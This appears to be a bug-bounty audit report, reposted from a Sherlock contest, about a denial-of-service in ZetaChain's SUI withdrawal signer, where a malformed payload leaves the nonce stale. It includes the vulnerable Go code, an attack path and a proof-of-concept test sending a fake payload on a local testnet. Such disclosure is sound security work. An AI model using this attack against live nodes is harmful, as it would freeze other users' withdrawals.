DoSed SUI node on withdrawals to SUI due to lack of payload validation
SUI withdrawals with an invalid payload cause the signer to repeatedly fail when building the transaction, leaving the nonce stale and blocking all subsequent withdrawals. An attacker can trigger this by calling a gateway function with a malformed payload, resulting in a denial of service for SUI withdrawals.
Originally disclosed on Sherlock
Source: https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/177
This issue has been acknowledged by the team but won't be fixed at this time.
Found by
0x73696d616f
Summary
SUI withdrawals do not handle incorrect payloads, only return with an error:
func (s *Signer) buildWithdrawAndCallTx(
ctx context.Context,
params *cctypes.OutboundParams,
coinType,
gasBudget,
withdrawCapID,
payload string,
) (models.TxnMetaData, error) {
// decode and parse the payload to object the on_call arguments
payloadBytes, err := hex.DecodeString(payload)
if err != nil {
return models.TxnMetaData{}, errors.Wrap(err, "unable to decode payload hex bytes")
}
var cp sui.CallPayload
if err := cp.UnpackABI(payloadBytes); err != nil {
return models.TxnMetaData{}, errors.Wrap(err, "unable to parse withdrawAndCall payload")
}
...
}
When this happens, it will get stuck trying to schedule this cctx over and over again, without being able to process further txs as the nonce will be stale. Thus, withdrawals will be stuck and there is no way to recover.
In order to trigger this, an attacker simply has to send to the gateway on ZEVM, r.GatewayZEVM.WithdrawAndCall0(), an incorrect payload.
Root Cause
In node/zetaclient/chains/sui/signer/signer_tx.go, an incorrect payload is not handled and all txs will get stuck. It returns an error without further processing.
https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/node/zetaclient/chains/sui/signer/signer_tx.go#L140-L148
Internal Pre-conditions
None.
External Pre-conditions
None.
Attack Path
- Attacker calls
gatewayZEVM::withdrawAndCall()with amessagewith incorrect payload to the SUI network.
Impact
DoSed withdrawals on SUI.
PoC
Change the sui.go::SuiWithdrawAndCallSUI() function to send an incorrect payload.
func (r *E2ERunner) SuiWithdrawAndCallSUI(
receiver string,
amount *big.Int,
payload sui.CallPayload,
) *ethtypes.Transaction {
receiverBytes, err := hex.DecodeString(receiver[2:])
require.NoError(r, err, "receiver: "+receiver[2:])
// ACT
//payloadBytes, err := payload.PackABI()
//require.NoError(r, err)
var fakePayload []byte = []byte("::::")
tx, err := r.GatewayZEVM.WithdrawAndCall0(
r.ZEVMAuth,
receiverBytes,
amount,
r.SUIZRC20Addr,
fakePayload,
gatewayzevm.CallOptions{
IsArbitraryCall: false,
GasLimit: big.NewInt(20000),
},
gatewayzevm.RevertOptions{OnRevertGasLimit: big.NewInt(0)},
)
require.NoError(r, err)
return tx
}
Uncomment the withdraw and call sui test in node/cmd/zetae2e/local/local.go.
Add verbose to the makefile:
start-sui-test: e2e-images
@echo "--> Starting sui test"
export E2E_ARGS="${E2E_ARGS} --skip-regular --test-sui --verbose" && \
cd contrib/localnet/ && $(DOCKER_COMPOSE) --profile sui up -d
Run make start-sui-test and watch the zetaclient0 and zetaclient1 being stuck on this withdrawal tx.
Mitigation
Revert the tx back or increase the nonce.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The signer does not handle invalid payloads gracefully; it returns an error and retries indefinitely without advancing the nonce or skipping the transaction.
Impact
Withdrawals on SUI are blocked (denial of service) because the signer gets stuck retrying the invalid transaction.
What the attacker needed
Ability to call gatewayZEVM.withdrawAndCall
The fix
The transaction should be reverted or the nonce increased to allow processing to continue.
How it was found
- Attacker calls the gateway's withdrawAndCall function with a message containing an incorrect payload to the SUI network.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A withdrawal from a blockchain needs a small piece of data called a payload. If that payload is malformed, the system keeps trying to process it but always fails, and because it never moves on, all later withdrawals get stuck too. An attacker can send such a bad payload on purpose to block everyone else's withdrawals.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.